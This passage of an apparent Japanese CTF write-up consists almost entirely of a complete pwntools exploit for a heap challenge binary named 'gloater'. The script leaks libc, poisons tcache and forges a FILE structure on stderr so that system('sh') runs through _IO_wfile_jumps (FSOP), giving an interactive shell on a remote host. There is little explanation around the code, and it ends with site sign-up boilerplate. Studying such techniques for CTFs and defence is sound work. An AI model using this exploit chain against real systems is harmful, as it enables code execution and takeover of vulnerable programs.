└─< readelf -s -W ./libc-2.31.so | grep "wfile_jumps"
1904: 00000000001e8f60   168 OBJECT  GLOBAL DEFAULT   29 _IO_wfile_jumps@@GLIBC_2.2.5

偽の FILE 構造体

fake_struct = b''.join(list(map(p64, [
    u64(b'  sh' + b'\x00' * 4), 0,              ## _IO_FILE_plus->_flags & arg                                  | _IO_wide_data->_IO_write_base
    0, 0,                                       ## _                                                            | _
    0, 1,                                       ## _IO_FILE_plus->_IO_write_base & _IO_wide_data->_IO_buf_base  | _IO_FILE_plus->_IO_write_ptr
    0, 0,                                       ## _                                                            | _
    0, 0,                                       ## _                                                            | _
    0, 0,                                       ## _                                                            | _
    0, addr_system,                             ## _                                                            | _IO_jump_t->__doallocate
    0, 0,                                       ## _                                                            | _
    0, 0,                                       ## _                                                            | _
    0, 0,                                       ## _                                                            | _
    addr_IO_2_1_stderr - 0x10, 0,               ## _IO_FILE_plus->_wide_data                                    | _
    0, 0,                                       ## _                                                            | _
    0, 0,                                       ## _IO_FILE_plus->_mod                                          | _
    addr_IO_2_1_stderr, addr_IO_wfile_jumps,    ## _IO_wide_data->_wide_vtable                                  | _IO_FILE_plus->vtable
])))

_IO_2_1_stderr に書き込む.

from pwn import *

binary_name = 'gloater'
exe = ELF(binary_name, checksec=True)
libc = ELF('libc-2.31.so', checksec=False)
context.binary = exe
context.terminal = ['tmux', 'splitw', '-h']
context.gdbinit = '~/work/notes/others/files/gdbinit_pwndbg'

conv        = lambda *x: tuple(map(lambda y: y.encode() if isinstance(y, str) else y, x))
rc          = lambda *x, **y: io.recv(*conv(*x), **y)
ru          = lambda *x, **y: io.recvuntil(*conv(*x), **y)
rl          = lambda *x, **y: io.recvline(*conv(*x), **y)
rrp         = lambda *x, **y: io.recvrepeat(*conv(*x), **y)
ral         = lambda *x, **y: io.recvall(*conv(*x), **y)
sn          = lambda *x, **y: io.send(*conv(*x), **y)
sl          = lambda *x, **y: io.sendline(*conv(*x), **y)
sa          = lambda *x, **y: io.sendafter(*conv(*x), **y)
sla         = lambda *x, **y: io.sendlineafter(*conv(*x), **y)
gdbattach   = lambda *x, **y: gdb.attach(io, *x, **y)
loginfo     = lambda *x, **y: log.info(' '.join(x), **y)
interact    = lambda *x, **y: io.interactive(*x, **y)

HOST_NAME, PORT = '83.136.252.82 42191'.split()

gdb_script = '''
b *0x000055555555561e
ignore 1 5
c
'''

while True:

    if args.REMOTE:
        io = remote(HOST_NAME, PORT)
    elif args.LOCAL:
        io = remote('localhost', PORT)
    elif args.GDB:
        io = gdb.debug(f'debug_dir/{binary_name}', gdb_script, aslr=False)
    else:
        io = process(f'debug_dir/{binary_name}')

    def create(target, data):
        sla(b'> ', b'2')
        sla(b'Taunt target: ', target)
        sa(b'Taunt: ', data)

    def remove(index):
        sla(b'> ', b'3')
        sla(b'Index: ', str(index).encode())

    sla(b'> ', b'hoge')

    try:
        ## leak libc address
        create('huga', 'huga')

        payload = b'A' * 0x88
        sla(b'> ', b'5')
        sla(b'Index for Super Taunt: ', b'0')
        sla(b'Plague to accompany the super taunt: ', payload)
        ru(payload)
        addr_puts = int.from_bytes(rl()[:-1], 'little')
        libc_base = addr_puts - 0x84420
        loginfo(f'libc_base: {hex(libc_base)}')

        ## tcache poisoning & FSOP
        addr_IO_2_1_stderr = libc_base + 0x00000000001ed5c0
        addr_system = libc_base + 0x0000000000052290
        addr_IO_wfile_jumps = libc_base + 0x00000000001e8f60

        payload = b'\x00' * 0x28 + p64(0xf1)
        payload += b'\x00' * (0x120 - len(payload))
        create('huga', payload)
        create('huga', 'A' * 0xe0)
        remove(1)
        remove(2)

        payload = b'AAAA' + b'\x50\xb3'
        sla(b'> ', b'1')
        sa(b'New User: ', payload)
        
        remove(0)

        payload = b'\x00' * 0x28 + p64(0xf1) + p64(addr_IO_2_1_stderr)
        payload += b'\x00' * (0x120 - len(payload))
        create('huga', payload)

        create('huga', 'A' * 0xe0)

        fake_struct = b''.join(list(map(p64, [
            u64(b'  sh' + b'\x00' * 4), 0,              ## _IO_FILE_plus->_flags & arg                                  | _IO_wide_data->_IO_write_base
            0, 0,                                       ## _                                                            | _
            0, 1,                                       ## _IO_FILE_plus->_IO_write_base & _IO_wide_data->_IO_buf_base  | _IO_FILE_plus->_IO_write_ptr
            0, 0,                                       ## _                                                            | _
            0, 0,                                       ## _                                                            | _
            0, 0,                                       ## _                                                            | _
            0, addr_system,                             ## _                                                            | _IO_jump_t->__doallocate
            0, 0,                                       ## _                                                            | _
            0, 0,                                       ## _                                                            | _
            0, 0,                                       ## _                                                            | _
            addr_IO_2_1_stderr - 0x10, 0,               ## _IO_FILE_plus->_wide_data                                    | _
            0, 0,                                       ## _                                                            | _
            0, 0,                                       ## _IO_FILE_plus->_mod                                          | _
            addr_IO_2_1_stderr, addr_IO_wfile_jumps,    ## _IO_wide_data->_wide_vtable                                  | _IO_FILE_plus->vtable
        ])))
        create('huga', fake_struct)

        sla(b'> ', b'6')

        interact()
    except Exception as e:
        print(e)
    else:
        break
    finally:
        io.close()
1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0